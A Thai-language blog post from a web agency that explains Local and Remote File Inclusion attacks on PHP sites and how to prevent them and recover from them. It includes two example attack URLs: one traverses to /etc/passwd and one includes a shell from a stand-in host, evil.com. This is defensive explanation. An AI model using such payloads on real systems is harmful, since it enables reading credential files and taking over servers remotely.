File Inclusion Attack คืออะไร? การแทรกไฟล์อันตรายผ่าน URL

/
/
File Inclusion Attack คืออะไร? การแทรกไฟล์อันตรายผ่าน URL
KNmasters
หมวดหมู่:ทั่วไป

หนึ่งในช่องโหว่ที่อันตรายและเกิดขึ้นบ่อยกับเว็บไซต์และเว็บแอปพลิเคชัน คือ File Inclusion Attack หรือการแทรกไฟล์อันตรายเข้าสู่ระบบผ่าน URL ซึ่งแบ่งออกเป็น 2 ประเภทหลัก ได้แก่ Remote File Inclusion (RFI) และ Local File Inclusion (LFI)

การโจมตีรูปแบบนี้เปิดโอกาสให้แฮกเกอร์สามารถเรียกใช้ไฟล์อันตรายจากภายนอกหรือแอบเข้าถึงไฟล์สำคัญในเครื่องเซิร์ฟเวอร์ ได้โดยตรง ส่งผลให้เว็บไซต์อาจถูกควบคุมจากระยะไกล ข้อมูลรั่วไหล หรือถูกฝังมัลแวร์โดยไม่รู้ตัว บทความนี้จะพาไปทำความรู้จักกับ File Inclusion Attack ว่าคืออะไร? อันตรายแค่ไหน? และวิธีป้องกันอย่างไรบ้าง?

File Inclusion Attack คืออะไร?

File Inclusion Attack คือช่องโหว่ที่เกิดจากการที่เว็บแอปพลิเคชันอนุญาตให้ผู้ใช้งานสามารถกำหนดพาธของไฟล์ที่จะโหลดหรือเรียกใช้ได้เองผ่าน URL หากไม่มีการตรวจสอบหรือกรองข้อมูลให้ดีพอ แฮกเกอร์สามารถใช้จุดนี้แทรกไฟล์อันตรายเข้ามาในระบบได้

แบ่งออกเป็น 2 ประเภทหลัก ดังนี้

1. Local File Inclusion (LFI)

  • แฮกเกอร์แทรกพาธไฟล์ภายในเซิร์ฟเวอร์
  • เข้าถึงไฟล์สำคัญ เช่น /etc/passwd (Linux) หรือไฟล์ Config ของระบบ
  • อาจนำไปสู่การอ่านไฟล์ระบบหรือรันโค้ดอันตรายได้

2. Remote File Inclusion (RFI)

  • แฮกเกอร์แทรกลิงก์ไฟล์จากภายนอก
  • ดึงไฟล์ PHP, Shell Script หรือโค้ดอันตรายจาก Server ของแฮกเกอร์เข้ามารันในระบบเป้าหมาย
  • ทำให้แฮกเกอร์สามารถควบคุมระบบจากระยะไกลได้ทันที

ตัวอย่างการโจมตี File Inclusion ผ่าน URL

http://example.com/index.php?page=../../../etc/passwd    // ตัวอย่าง LFI
http://example.com/index.php?page=http://evil.com/shell.php   // ตัวอย่าง RFI

ผลลัพธ์

แฮกเกอร์สามารถอ่านไฟล์สำคัญ, ฝัง Backdoor, หรือควบคุมเซิร์ฟเวอร์ได้

ผลกระทบของ File Inclusion Attack

  • ข้อมูลสำคัญรั่วไหล เช่น Database Config, Password
  • เว็บไซต์ถูกแฮกหรือฝัง Backdoor ทำให้แฮกเกอร์ควบคุมระบบได้
  • ฝังมัลแวร์หรือสคริปต์อันตราย ส่งผลต่อผู้ใช้งานเว็บไซต์
  • อันดับ SEO ตกทันทีเพราะ Google มองว่าเว็บไซต์มีมัลแวร์
  • ภาพลักษณ์องค์กรเสียหายและเสี่ยงต่อการถูกฟ้องร้อง

สาเหตุที่เว็บไซต์เสี่ยงต่อ File Inclusion Attack

  • ใช้ PHP หรือระบบที่โหลดไฟล์จากพารามิเตอร์ URL โดยไม่มีการตรวจสอบ
  • รับค่า Input โดยตรงจากผู้ใช้งานโดยไม่ Validate
  • ใช้ฟังก์ชัน PHP เช่น include(), require(), include_once(), require_once() โดยไม่มีการกรองค่า
  • อัปเดตระบบไม่สม่ำเสมอทำให้มีช่องโหว่

วิธีป้องกัน File Inclusion Attack (RFI / LFI)

  1. หลีกเลี่ยงการโหลดไฟล์จาก Input ของผู้ใช้โดยตรง
  2. ตรวจสอบและ Validate ค่า Input ทุกครั้ง
    • จำกัดให้เลือกเฉพาะไฟล์ที่กำหนดไว้เท่านั้น
    • ใช้ Whitelist
  3. ปิดการใช้งาน allow_url_include และ allow_url_fopen ใน php.ini
  4. ตั้ง Directory Permissions ให้เหมาะสม ป้องกันการเข้าถึงไฟล์สำคัญ
  5. อัปเดต PHP และระบบ CMS ให้เป็นเวอร์ชันล่าสุดเสมอ
  6. ติดตั้ง Web Application Firewall (WAF) เพื่อช่วยป้องกันการโจมตี
  7. สำรองข้อมูลเว็บไซต์อย่างสม่ำเสมอเพื่อกู้คืนได้ทันทีหากเกิดเหตุ

แนวทางแก้ไขเมื่อถูกโจมตีด้วย File Inclusion Attack

  • เปลี่ยนรหัสผ่านทุกระบบทันที
  • ตรวจสอบไฟล์ระบบและโค้ด PHP ทั้งหมดเพื่อหาสคริปต์อันตรายหรือ Backdoor
  • สแกนเซิร์ฟเวอร์ด้วยเครื่องมือความปลอดภัย เช่น Wordfence, Sucuri
  • ลบโค้ดหรือไฟล์ที่แฮกเกอร์แทรกเข้ามา
  • Restore จาก Backup ที่ปลอดภัย
  • ปิดช่องโหว่และอัปเดตระบบทันทีเพื่อไม่ให้เกิดซ้ำ

สรุป

File Inclusion Attack (RFI / LFI) เป็นหนึ่งในการโจมตีที่อันตรายและพบได้บ่อย โดยเฉพาะเว็บไซต์ที่พัฒนาโดย PHP และรับค่า Input ผ่าน URL หากไม่มีการกรองหรือตรวจสอบข้อมูลให้ดี อาจเปิดโอกาสให้แฮกเกอร์แทรกไฟล์อันตรายเข้ามาในระบบได้ง่ายๆ

การป้องกันต้องเริ่มตั้งแต่การออกแบบโครงสร้างเว็บไซต์ให้ปลอดภัยไปจนถึงการตั้งค่าระบบและตรวจสอบ Input ทุกครั้ง เพื่อให้เว็บไซต์ปลอดภัยจากการโจมตีและป้องกันความเสียหายที่อาจเกิดขึ้นในอนาคต

อย่ารอช้า! ให้ KNmasters ดูแลธุรกิจของคุณวันนี้!

หากคุณต้องการข้อมูลเพิ่มเติมหรืออยากเริ่มใช้บริการกับ KNmasters เราพร้อมช่วยให้ธุรกิจของคุณเติบโตด้วยกลยุทธ์การตลาดออนไลน์ครบวงจร

บทความที่เกี่ยวข้อง

KNmasters
ความแตกต่าง PBN และ PBN Backlink ที่คุณต้องเข้าใจก...
ในการทำ SEO โดยเฉพาะสายที่เน้นสร้างลิงก์ (Backlink) หลายคนมักจะได้ยินคำว่า PBN แ...
KNmasters
10 บริษัทรับทำเว็บไซต์ WordPress ภาคใต้ยอดนิยม
ธุรกิจในภาคใต้ ไม่ว่าจะเป็น ท่องเที่ยว โรงแรม รีสอร์ท ร้านอาหาร หรือบริษัทท้องถิ...
KNmasters
HSTS คืออะไร? อธิบายแบบครบถ้วน เข้าใจง่าย พร้อมแนว...
ในยุคที่ความปลอดภัยของข้อมูลเป็นหัวใจสำคัญของอินเทอร์เน็ต การใช้งาน HTTPS เพียงอ...
KNmasters
Hashtag คืออะไร? ความหมาย ประโยชน์ และวิธีใช้ให้ได...
ในยุคที่โซเชียลมีเดียกลายเป็นส่วนหนึ่งของชีวิตประจำวัน หลายคนคงคุ้นเคยกับสัญลักษ...
ai-cloud-with-robot-head (WebH)
GSAP คืออะไร? คู่มือทำความรู้จักเครื่องมือแอนิเมชั...
ในยุคที่เว็บไซต์ต้องโดดเด่นและดึงดูดสายตาผู้ใช้ “แอนิเมชัน” กลายเป็นสิ่งสำคัญที่...
homepage-seen-computer-screen2 (WebH)
Affinity Studio คืออะไร? ซอฟต์แวร์ออกแบบครบเครื่อง...
ในยุคที่การทำงานด้านกราฟิกดีไซน์ การแก้ไขภาพ และงานจัดเลย์เอาต์เป็นสิ่งจำเป็น ทั...
KNMASTERS

ผู้ช่วยที่จะขับเคลื่อนธุรกิจของคุณให้เติบโตอย่างมั่นคง

หากคุณกำลังมองหาทีมที่เข้าใจธุรกิจของคุณจริงๆ และพร้อมเปลี่ยนไอเดียให้กลายเป็นผลลัพธ์ที่จับต้องได้ KNmasters พร้อมอยู่เคียงข้างเพื่อให้คำปรึกษา วางกลยุทธ์ และสร้างแนวทางที่เหมาะกับคุณ เราช่วยให้ธุรกิจของคุณเติบโตได้อย่างยั่งยืนในโลกออนไลน์